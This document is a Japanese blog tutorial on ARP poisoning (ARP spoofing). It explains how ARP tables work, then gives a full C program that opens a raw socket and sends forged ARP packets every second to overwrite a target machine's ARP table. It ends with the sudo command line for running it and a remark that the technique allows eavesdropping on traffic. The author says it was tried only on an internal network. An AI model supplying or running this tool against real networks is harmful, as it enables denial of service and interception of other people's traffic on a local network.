【c言語】ARPポイズニングの解説と実装


ARPポイズニング(ARPスプーフィング)を検証してみたいと思います。
ARPポイズニングによって隣接ノードのルーティングを制御することができます。
こういうテクニックを試していると、物事の仕組みを知ることは大切なんだなぁと思います。
ハッキングというものに興味がある人は試してみてはいかがでしょうか。

もちろん内部的な環境での動作確認です。
公共の場でやったらいろいろまずいので。


ARP


このテクニックはarpプロトコルの動作を利用します。
arpはipアドレスからmacアドレスを解決するためのプロトコルです。
(厳密には利用できるアドレスはipアドレスとmacアドレスだけではないようですが)

ipアドレスとmacアドレスをつかって通信するべき相手を特定しいろいろやり取りするわけですが、ipアドレスだけわかっていてmacアドレスがわからないという状態があります。
そんな時、送信元のマシンAは送信先のマシンBのipアドレスを指定し、
「このipアドレスを持ってるマシンはmacアドレスを教えてください」
というarpパケットを同一セグメント内のすべてのマシンに向けて送信します。

このパケットに指定されたipアドレスを持つマシンは、
「私のmacアドレスはxx:xx:xx:xx:xx:xxです」
というパケットを送り返します。

このパケットを受け取ったマシンAは、マシンBのipアドレスと送られてきたmacアドレスを紐づけるかたちでARPテーブルを更新します。

arpテーブルの内容はarpコマンドで確認することができます。

C:\>arp -a

インターフェイス: 192.168.11.9 --- 0x5
  インターネット アドレス 物理アドレス           種類
  192.168.11.1          34-3d-c4-5e-60-04     動的
  192.168.11.255        ff-ff-ff-ff-ff-ff     静的

ARPポイズニングの原理


192.168.11.1には34-3d-c4-5e-60-04というmacアドレスが紐づけられています。
ですからこのマシンと通信するときはイーサネットフレームの送信先macアドレスにこの値を指定して送信します。


たとえば以下の三つのマシンがあると想定します。
マシンA ip:192.168.1.5, mac: 11-11-11-11-11-11
マシンB ip:192.168.1.6, mac: 22-22-22-22-22-22
マシンC ip:192.168.1.7, mac: 33-33-33-33-33-33

マシンAがマシンBと通信すとき、
マシンAは自身のarpテーブルを見て、マシンBのipアドレスとそれに紐づくmacアドレスを指定してマシンBと通信を開始します。

Arpポイズニングはこのipアドレスとmacアドレスの紐づきを強制的に書き換えるテクニックです。
例えばマシンAに対して、
「192.168.1.6に紐づくmacアドレスは33-33-33-33-33-33(マシンCのmacアドレス)でございます」
というパケットを送信するとマシンAのARPテーブルは送られてきたパケットの通りに書き換わります。
するとマシンAはマシンBと通信する際すべてのパケットをマシンCに送信することになります。
ここではマシンCのmacアドレスを指定しましたが、別に存在しないmacアドレスでもいいのです。


このテクニックの本質は正当な相手との通信を不可能にさせることにあると思います。

実装


このテクニックを実現できるツールはいくつかあると思うのですが、自分でプログラムを組んでみたいと思います。
ARPポイズニングと言っても単に対象マシンのARPテーブルを書き換えるだけなので数十行のソースで実現することができます。
すこし粗い作りですが、大体こんな感じになるかと思います。

#include <sys/socket.h>
#include <netinet/if_ether.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <sys/ioctl.h>

#define DEV_MAX_LEN 255

enum {
  THIS, DEVICE, S_HRDADD, D_HRDADD, S_PROADD, D_PROADD
};

// macアドレスをうまいこと設定
void setMacAddr(char *macAddr, uint8_t *mac) {
  int temp[6];

  sscanf(macAddr, "%x:%x:%x:%x:%x:%x", &temp[0], &temp[1], &temp[2], &temp[3], &temp[4], &temp[5]);  
  for (int i=0; i<sizeof(temp)/sizeof(temp[0]); i++) {
    mac[i] = temp[i];
  }
}

// ipアドレスをうまいこと設定
void setIpAddr(char *ipAddr, uint8_t *ip) {
  int temp[4];

  sscanf(ipAddr, "%d.%d.%d.%d", &temp[0], &temp[1], &temp[2], &temp[3] );
  for (int i=0; i<sizeof(temp)/sizeof(temp[0]); i++) {
    ip[i] = temp[i];
  }
  
}

// イーサネットヘッダ設定
void setEther(struct ether_header *eh, char *sHrdAdd, char *dHrdAdd) {
  
  setMacAddr(sHrdAdd, eh->ether_shost);
  setMacAddr(dHrdAdd, eh->ether_dhost);

  eh->ether_type = htons(ETHERTYPE_ARP);
}

// arpヘッダ設定
void setArp(struct ether_arp *arp, char *sHrdAdd, char *dHrdAdd, char *sProAdd, char *dProAdd) {
  
  memset(arp, 0, sizeof(arp));

  setMacAddr(sHrdAdd, arp->arp_sha);
  setMacAddr(dHrdAdd, arp->arp_tha);

  setIpAddr(sProAdd, arp->arp_spa);
  setIpAddr(dProAdd, arp->arp_tpa);

  arp->arp_hrd = htons(ARPHRD_ETHER);
  arp->arp_pro = htons(ETHERTYPE_IP);
  arp->arp_hln = 6;
  arp->arp_pln = 4;
  arp->arp_op = htons(ARPOP_REQUEST);
}

// arpパケット送信
void sendPacket(int soc, char *sHrdAdd, char *sProAdd, char *dHrdAdd, char *dProAdd) {
  char packet[sizeof(struct ether_header)+sizeof(struct ether_arp)];
  char *p;
  struct ether_header eh;
  struct ether_arp arp;

  setEther(&eh,sHrdAdd, dHrdAdd);
  setArp(&arp, sHrdAdd, dHrdAdd, sProAdd, dProAdd);

  memset(packet, 0, sizeof(packet));
  p = packet;
  
  memcpy(p, &eh, sizeof(eh));
  p += sizeof(eh);

  memcpy(p, &arp, sizeof(arp));
  p += sizeof(arp);

  for (;;) {

    if (send(soc,packet,sizeof(packet),0) == -1) {
      perror("send");
    }
    printf("[*] Send ArpPoison Packet\n");
    sleep(1);
  }

}

// ソケット作成
int makeSocket(char *device)
{
  int soc;
  struct sockaddr sa;

  struct sockaddr_ll ll;
  struct ifreq ifReq;

  if ((soc = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
    perror("socket");
    return -1;
  }

  snprintf(ifReq.ifr_name, sizeof(ifReq.ifr_name), "%s", device);
  if (ioctl(soc, SIOCGIFINDEX, &ifReq) < 0 ){
    perror("ioctl");
    return -1;
  }

  ll.sll_family = PF_PACKET;
  ll.sll_protocol = htons(ETH_P_ALL);
  ll.sll_ifindex = ifReq.ifr_ifindex;

  if (bind(soc, (struct sockaddr *)&ll, sizeof(ll)) < 0 ) {
    perror("bind");
    return -1;
  }

  return soc;
}

// メイン関数
// args: device, src mac, dst mac, src ip, dst ip
int main(int argc, char *argv[])
{
  if (argc < 6) {
    exit(-1);
  }

  int soc;
  char *device;

  if ((soc = makeSocket(argv[DEVICE])) == -1)  {
    exit(-1);
  }
  sendPacket(soc, argv[S_HRDADD] ,argv[S_PROADD], argv[D_HRDADD], argv[D_PROADD]);
  printf("Send ArpPoison Packet\n");

  return 0;
}


このソースコードをコンパイルして下記のように実行すると対象のarpテーブルを書き換えることができます。
ちなみにこのプログラムの動作する環境はlinuxです。
raw socketを使用しているためroot権限が必要です。

sudo ./ArpPoison {nicのデバイス名} {任意のmacアドレス(自分のとか)} {対象マシンのmacアドレス} {対象マシンと通信を行うマシンのipアドレス(先述の例だとマシンB)} {対象マシンのipアドレス}


このテクニックをうまいこと使うと通信を覗き見ることができるようです。
それを以下の記事でやりました。